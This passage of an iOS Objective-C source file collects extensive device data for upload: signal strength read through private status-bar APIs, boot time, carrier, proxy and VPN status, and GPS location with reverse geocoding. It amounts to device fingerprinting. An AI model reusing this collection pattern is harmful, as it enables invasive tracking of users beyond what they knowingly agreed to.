            NSInteger dbs = [self signalStrengthThan13];
            dbmClass = dbs==0?@"0":@(dbs).stringValue;
        });
    }else{
        delayOperation(0, ^{
            dbmClass = [self signalStrengthLess13];
        });
    }
    [other_data setValue:dbmClass forKey:@"dbmClass"];
    [other_data setValue:@"keyboard" forKey:@"keyboard"];
    [other_data setValue:user.lastStartTimeStemp forKey:@"last_boot_time"];
    [self.device_info setValue:other_data forKey:@"other_data"];
    [dict setValue:self.device_info forKey:@"device_info"];
//    
    [self uploadInfo:dict];

    NSLog(@"\n\n\n\n❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️上传device_info参数为：❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️\n%@\n❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️❗️",dict);
}
-(void)batteryStatusUpdated{
    
}
- (NSInteger )signalStrengthThan13
{
    NSInteger signalStrength = 0;
    if(@available(iOS 13.0, *))
    {
        NSArray *arr = [UIApplication sharedApplication].connectedScenes.allObjects;
        UIWindowScene *scene = arr.firstObject;
        UIStatusBarManager *statusBarManager = scene.statusBarManager;
        id statusBar =nil;
        if([statusBarManager respondsToSelector:NSSelectorFromString(@"createLocalStatusBar")])
        {
            UIView*localStatusBar = [statusBarManager performSelector:NSSelectorFromString(@"createLocalStatusBar")];
            if([localStatusBar respondsToSelector:NSSelectorFromString(@"statusBar")])
            {
                statusBar = [localStatusBar performSelector:NSSelectorFromString(@"statusBar")];
            }
        }
        
        if(statusBar)
        {
            id currentData = [[statusBar valueForKeyPath:@"_statusBar"]valueForKeyPath:@"currentData"];
            id cellularEntry = [[self cellularType] isEqualToString:@"WIFI"]?[currentData valueForKeyPath:@"wifiEntry"]:[currentData valueForKeyPath:@"cellularEntry"];
            if([cellularEntry isKindOfClass:NSClassFromString(@"_UIStatusBarDataWifiEntry")])
            {
                //wifi网络
                signalStrength = [[cellularEntry valueForKey:@"displayValue"]intValue];
            }
            else if([cellularEntry isKindOfClass:NSClassFromString(@"_UIStatusBarDataIntegerEntry")])
            {
                //运营商流量/网络
                signalStrength = [[cellularEntry valueForKey:@"displayValue"]intValue];
            }
        }
    }
    
    return signalStrength;
}


//13以下
- (NSString *)signalStrengthLess13
{
    UIApplication *app = [UIApplication sharedApplication];
    NSArray *subviews = [[[app valueForKey:@"statusBar"] valueForKey:@"foregroundView"] subviews];
    NSString *dataNetworkItemView = nil;
    NSString *signalStrength = @"";
    for (id subview in subviews)
    {
        if([subview isKindOfClass:[NSClassFromString(@"UIStatusBarDataNetworkItemView") class]] && [[self cellularType] isEqualToString:@"WIFI"] && [self cellularType].length>0)
        {
            dataNetworkItemView = subview;
            signalStrength = [NSString stringWithFormat:@"%@dBm",[dataNetworkItemView valueForKey:@"_wifiStrengthRaw"]];
            break;
        }
        if ([subview isKindOfClass:[NSClassFromString(@"UIStatusBarSignalStrengthItemView") class]] && ![[self getNetworkType] isEqualToString:@"WIFI"] && [self getNetworkType].length>0)
        {
            dataNetworkItemView = subview;
            signalStrength = [NSString stringWithFormat:@"%@dBm",[dataNetworkItemView valueForKey:@"_signalStrengthRaw"]];
            break;
        }
    }
    
    return signalStrength;
}

//使用sysctl取得kernel_task启动时间
- (NSDate *)systemStartTime
{
    size_t length = 0;
    static const int name[] = {CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0};
    int err = sysctl( (int *) name, (sizeof(name) / sizeof(*name)) - 1, NULL, &length, NULL, 0);
    if (err == -1)
    {
        err = errno;
    }
    if (err == 0)
    {
        struct kinfo_proc *procBuffer = (struct kinfo_proc *)malloc(length);
        if(procBuffer == NULL)
        {
            return nil;
        }
        
        sysctl( (int *) name, (sizeof(name) / sizeof(*name)) - 1, procBuffer, &length, NULL, 0);
        
        int count = (int)length / sizeof(struct kinfo_proc);
        for (int i = 0; i < count; ++i)
        {
            NSString *procName = [NSString stringWithCString:procBuffer[i].kp_proc.p_comm encoding:NSUTF8StringEncoding];
            if ([procName isEqualToString:@"kernel_task"])
            {
                return [NSDate dateWithTimeIntervalSince1970:procBuffer[i].kp_proc.p_un.__p_starttime.tv_sec];
            }
        }
    }
    
    return nil;
}

//从开机到现在的毫秒数（不包括睡眠时间）
-(NSString *)uptimeMillis{
    return [NSString stringWithFormat:@"%ld",(NSInteger)[[NSProcessInfo processInfo] systemUptime]];
}
//时区id
-(NSString *)timeZoneId{
    NSTimeZone *zone2 = [NSTimeZone localTimeZone];
    return zone2.abbreviation;
}
//手机分辨率
-(NSString *)screenResolution{
    CGRect rect_screen = [[UIScreen mainScreen]bounds];
    CGSize size_screen = rect_screen.size;
    CGFloat scale_screen = [UIScreen mainScreen].scale;
    CGFloat wPix = rect_screen.size.width*scale_screen;
    CGFloat hPix = rect_screen.size.height*scale_screen;
    int wPixInt = ceil(wPix);
    int hPixInt = ceil(hPix);
    return [NSString stringWithFormat:@"%ldx%ld",wPixInt,hPixInt];
}
#pragma mark --- 获取当前网络状态
- (NSString *)getNetworkType {
    //创建零地址，0.0.0.0的地址表示查询本机的网络连接状态
    struct sockaddr_storage zeroAddress;
    
    bzero(&zeroAddress, sizeof(zeroAddress));
    zeroAddress.ss_len = sizeof(zeroAddress);
    zeroAddress.ss_family = AF_INET;
    
    // Recover reachability flags
    SCNetworkReachabilityRef defaultRouteReachability = SCNetworkReachabilityCreateWithAddress(NULL, (struct sockaddr *)&zeroAddress);
    SCNetworkReachabilityFlags flags;
    
    //获得连接的标志
    BOOL didRetrieveFlags = SCNetworkReachabilityGetFlags(defaultRouteReachability, &flags);
    CFRelease(defaultRouteReachability);
    
    //如果不能获取连接标志，则不能连接网络，直接返回
    if (!didRetrieveFlags) {
        return notReachable;
    }
    
    BOOL isReachable = ((flags & kSCNetworkFlagsReachable) != 0);
    BOOL needsConnection = ((flags & kSCNetworkFlagsConnectionRequired) != 0);
    if (isReachable && !needsConnection) { }else{
        return notReachable;
    }
    
    if ((flags & kSCNetworkReachabilityFlagsConnectionRequired) == kSCNetworkReachabilityFlagsConnectionRequired ) {
        return notReachable;
    } else if ((flags & kSCNetworkReachabilityFlagsIsWWAN) == kSCNetworkReachabilityFlagsIsWWAN) {
        return [self cellularType];
    } else {
        return @"WiFi";
    }
    
}

- (NSString *)cellularType {
    CTTelephonyNetworkInfo * info = [[CTTelephonyNetworkInfo alloc] init];
    NSString *currentRadioAccessTechnology;
    if (@available(iOS 12.1, *)) {
        if (info && [info respondsToSelector:@selector(serviceCurrentRadioAccessTechnology)]) {
            NSDictionary *radioDic = [info serviceCurrentRadioAccessTechnology];
            if (radioDic.allKeys.count) {
                currentRadioAccessTechnology = [radioDic objectForKey:radioDic.allKeys[0]];
            } else {
                return notReachable;
            }
        } else {
            return notReachable;
        }
    } else {
        currentRadioAccessTechnology = info.currentRadioAccessTechnology;
    }
    if (currentRadioAccessTechnology) {
        if (@available(iOS 14.1, *)) {
            if ([currentRadioAccessTechnology isEqualToString:CTRadioAccessTechnologyNRNSA] || [currentRadioAccessTechnology isEqualToString:CTRadioAccessTechnologyNR]) {
                return @"5G";
            }
        }
        
        if ([currentRadioAccessTechnology isEqualToString:CTRadioAccessTechnologyLTE]) {
            return @"4G";
            
        } else if ([currentRadioAccessTechnology isEqualToString:CTRadioAccessTechnologyWCDMA] || [currentRadioAccessTechnology isEqualToString:CTRadioAccessTechnologyHSDPA] || [currentRadioAccessTechnology isEqualToString:CTRadioAccessTechnologyHSUPA] || [currentRadioAccessTechnology isEqualToString:CTRadioAccessTechnologyCDMAEVDORev0] || [currentRadioAccessTechnology isEqualToString:CTRadioAccessTechnologyCDMAEVDORevA] || [currentRadioAccessTechnology isEqualToString:CTRadioAccessTechnologyCDMAEVDORevB] || [currentRadioAccessTechnology isEqualToString:CTRadioAccessTechnologyeHRPD]) {
            return @"3G";
        } else if ([currentRadioAccessTechnology isEqualToString:CTRadioAccessTechnologyEdge] || [currentRadioAccessTechnology isEqualToString:CTRadioAccessTechnologyGPRS] || [currentRadioAccessTechnology isEqualToString:CTRadioAccessTechnologyCDMA1x]) {
            return @"2G";
            
        } else {
            return @"Unknow";
        }
        
    } else {
        return notReachable;
    }
}

//网络信息（运营商，网络技术）
- (NSString *)TechnologyInfo{
    CTTelephonyNetworkInfo *info = [[CTTelephonyNetworkInfo alloc] init];
    CTCarrier *carrier = [info subscriberCellularProvider];
    NSString *mcc = [carrier mobileCountryCode]; // 国家码 如：460
    NSString *mnc = [carrier mobileNetworkCode]; // 网络码 如：01
    NSString *name = [carrier carrierName]; // 运营商名称，中国联通
    NSString *isoCountryCode = [carrier isoCountryCode]; // cn
    BOOL allowsVOIP = [carrier allowsVOIP];// YES
    NSString *radioAccessTechnology = info.currentRadioAccessTechnology; // 无线连接技术，如CTRadioAccessTechnologyLTE
    return radioAccessTechnology;
}
// 判断是否使用代理了
- (BOOL)isConnectedToProxy {
    
    NSDictionary *proxySettings = (__bridge NSDictionary *)CFNetworkCopySystemProxySettings();
    NSArray * proxies = (__bridge NSArray *)CFNetworkCopyProxiesForURL((__bridge CFURLRef)[NSURL URLWithString:@"https://www.apple.com"], (__bridge CFDictionaryRef)proxySettings);
    
    NSDictionary *settings = [proxies objectAtIndex:0];
    
    if ([[settings objectForKey:(NSString *)kCFProxyTypeKey] isEqualToString:@"kCFProxyTypeNone"])
    {
        //没有设置代理
        return NO;
    }
    else
    {
        //设置代理了
        return YES;
    }
}

//开机时间到现在的毫秒数（包括睡眠时间）
-(NSString *)getSystemUptime {
    struct timespec ts;
    if(@available(iOS 10.0,*)){
        clock_gettime (CLOCK_MONOTONIC, &ts);
    } else {
        //        Fallback on earlier versions
    }
    return [NSString stringWithFormat:@"%ld",ts.tv_sec];
}

- (NSString *)shortVersionString {
    return [NSBundle mainBundle].infoDictionary[@"CFBundleShortVersionString"];
}
- (NSString *)version {
    return [NSBundle mainBundle].infoDictionary[@"CFBundleVersionBundle"];
}
-(NSString *)create_time{
    return [NSString stringWithFormat:@"%ld",(NSInteger)[[NSDate new] timeIntervalSince1970] * 1000];
}
//是否使用vpn
- (BOOL)isVPNOn
{
    BOOL flag = NO;
    NSString *version = [UIDevice currentDevice].systemVersion;
    // need two ways to judge this.
    if (version.doubleValue >= 9.0)
    {
        NSDictionary *dict = CFBridgingRelease(CFNetworkCopySystemProxySettings());
        NSArray *keys = [dict[@"__SCOPED__"] allKeys];
        for (NSString *key in keys) {
            if ([key rangeOfString:@"tap"].location != NSNotFound ||
                [key rangeOfString:@"tun"].location != NSNotFound ||
                [key rangeOfString:@"ipsec"].location != NSNotFound ||
                [key rangeOfString:@"ppp"].location != NSNotFound){
                flag = YES;
                break;
            }
        }
    }
    else
    {
        struct ifaddrs *interfaces = NULL;
        struct ifaddrs *temp_addr = NULL;
        int success = 0;
        
        // retrieve the current interfaces - returns 0 on success
        success = getifaddrs(&interfaces);
        if (success == 0)
        {
            // Loop through linked list of interfaces
            temp_addr = interfaces;
            while (temp_addr != NULL)
            {
                NSString *string = [NSString stringWithFormat:@"%s" , temp_addr->ifa_name];
                if ([string rangeOfString:@"tap"].location != NSNotFound ||
                    [string rangeOfString:@"tun"].location != NSNotFound ||
                    [string rangeOfString:@"ipsec"].location != NSNotFound ||
                    [string rangeOfString:@"ppp"].location != NSNotFound)
                {
                    flag = YES;
                    break;
                }
                temp_addr = temp_addr->ifa_next;
            }
        }
        
        // Free memory
        freeifaddrs(interfaces);
    }
    
    if (_vpnFlag != flag)
    {
        // reset flag
        _vpnFlag = flag;
        
        // post notification
        __weak __typeof(self)weakSelf = self;
        dispatch_async(dispatch_get_main_queue(), ^{
            __strong __typeof(weakSelf)strongSelf = weakSelf;
            [[NSNotificationCenter defaultCenter] postNotificationName:kRRVPNStatusChangedNotification
                                                                object:strongSelf];
        });
    }
    
    return flag;
}
//设备的物理尺寸（例：5.5寸）
-(NSString *)diagonalString{
    float scale = [[UIScreen mainScreen] scale];
    
    float ppi = scale * ((UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPad) ? 132 : 163);
    
    float width = ([[UIScreen mainScreen] bounds].size.width * scale);
    float height = ([[UIScreen mainScreen] bounds].size.height * scale);
    
    float horizontal = width / ppi, vertical = height / ppi;
    
    float diagonal = sqrt(pow(horizontal, 2) + pow(vertical, 2));
    return [NSString stringWithFormat:@"%.f",diagonal];
}




- (void)_addInfoWithKey:(NSString *)infoKey infoValue:(NSObject *)infoValue {
    //    BasicInfo *info = [[BasicInfo alloc] init];
    //    info.infoKey = infoKey;
    //    info.infoValue = infoValue;
    //    NSLog(@"%@---%@", infoKey, infoValue);
    //    [self.infoArray addObject:info];
}

- (void)dealloc {
    [[BatteryInfoManager sharedManager] stopBatteryMonitoring];
}



#pragma mark - CLLocationManagerDelegate

- (void)startLocation{
    TenAuthorizationStatus locationStatus =[[JMTenLocationManager shareManager] locationStatus];
    if (locationStatus == TenAuthorizationStatusNotDetermined) {
        [[JMTenLocationManager shareManager]ten_requestLocationRequest:^(BOOL granted, CLAuthorizationStatus status) {
            if (granted) {
                self.locationManager = [[CLLocationManager alloc] init];
                self.locationManager.delegate = self;
                self.locationManager.desiredAccuracy = kCLLocationAccuracyBest;
                self.locationManager.distanceFilter = 10.0f;
                [_locationManager requestWhenInUseAuthorization];
                [self.locationManager startUpdatingLocation];
            }
        }];
    }
    if (locationStatus==TenAuthorizationStatusDenied) {
        delayOperation(0, ^{
            //如果没有授权定位，提示开启
            
            UIAlertController *alertVC = [UIAlertController alertControllerWithTitle:@"Permitir el posicionamiento" message:@"Por favor, abra el posicionamiento en la configuración, abra el posicionamiento en la configuración" preferredStyle:UIAlertControllerStyleAlert];
            UIAlertAction *ensure = [UIAlertAction actionWithTitle:@"Abrir posicionamiento" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
                NSURL *url = [NSURL URLWithString:UIApplicationOpenSettingsURLString];
                [[UIApplication sharedApplication] openURL:url];
            }];
            UIAlertAction *cancel = [UIAlertAction actionWithTitle:@"Cancelación" style:UIAlertActionStyleCancel handler:nil];
            [alertVC addAction:ensure];
            [alertVC addAction:cancel];
            [self.vc presentViewController:alertVC animated:YES completion:nil];
        });
    }
}

//更新用户位置
- (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray<CLLocation *> *)locations {
    //当前所在城市的坐标值
    CLLocation *currLocation = [locations lastObject];
        NSLog(@"当前经度=%f 当前纬度=%f 当前高度=%f", currLocation.coordinate.latitude, currLocation.coordinate.longitude, currLocation.altitude);
    
    @weakify(self)
    //根据经纬度反编译地址信息
    CLGeocoder *geoCoder = [[CLGeocoder alloc] init];
    [geoCoder reverseGeocodeLocation:currLocation completionHandler:^(NSArray<CLPlacemark *> * _Nullable placemarks, NSError * _Nullable error) {
        @strongify(self);
        if (placemarks.count > 0) {

            CLPlacemark *placeMark = placemarks[0];
            JMLoginUserModel *user =  JMProjectManager.sharedJMProjectManager.loginUser;
            user.street = placeMark.name.length?placeMark.name:@"";
            user.city = placeMark.locality?placeMark.locality:@"";
            user.province = placeMark.administrativeArea?placeMark.administrativeArea:@"";
            user.latitude = @(currLocation.coordinate.latitude).stringValue;
            user.longitude = @(currLocation.coordinate.longitude).stringValue;
            [user save];
            [self.locationManager stopUpdatingLocation];
            
            static dispatch_once_t onceToken;
           
            
            NSString *address = [NSString stringWithFormat:@"%@%@%@",placeMark.locality,placeMark.subLocality,placeMark.name];
            
        } else if (error == nil && placemarks.count == 0) {
            NSLog(@"没有地址返回");
            
        } else if (error) {
            NSLog(@"%@",error);
            
        }
    }];
}

//定位失败
- (void)locationManager:(CLLocationManager *)manager didFailWithError:(NSError *)error {
    if (error.code == kCLErrorDenied) {
        //访问被拒绝
        NSLog(@"位置访问被拒绝");
       
    } else if (error.code == kCLErrorLocationUnknown) {
        NSLog(@"无法获取用户信息");
      
    }
}

-(NSMutableDictionary *)device_info{
    if (!_device_info) {
        _device_info = [[NSMutableDictionary alloc]init];
    }
    return _device_info;;
}
-(void)currentTimeStemp{
    JMProjectManager.sharedJMProjectManager.appConfig.lastTimeStemp = @([[NSDate new] timeIntervalSince1970] * 1000).stringValue;
}
-(NSString*)currentTimeStempString{
    return  @([[NSDate new] timeIntervalSince1970] * 1000).stringValue;
}
@end

@implementation BasicInfo

@end
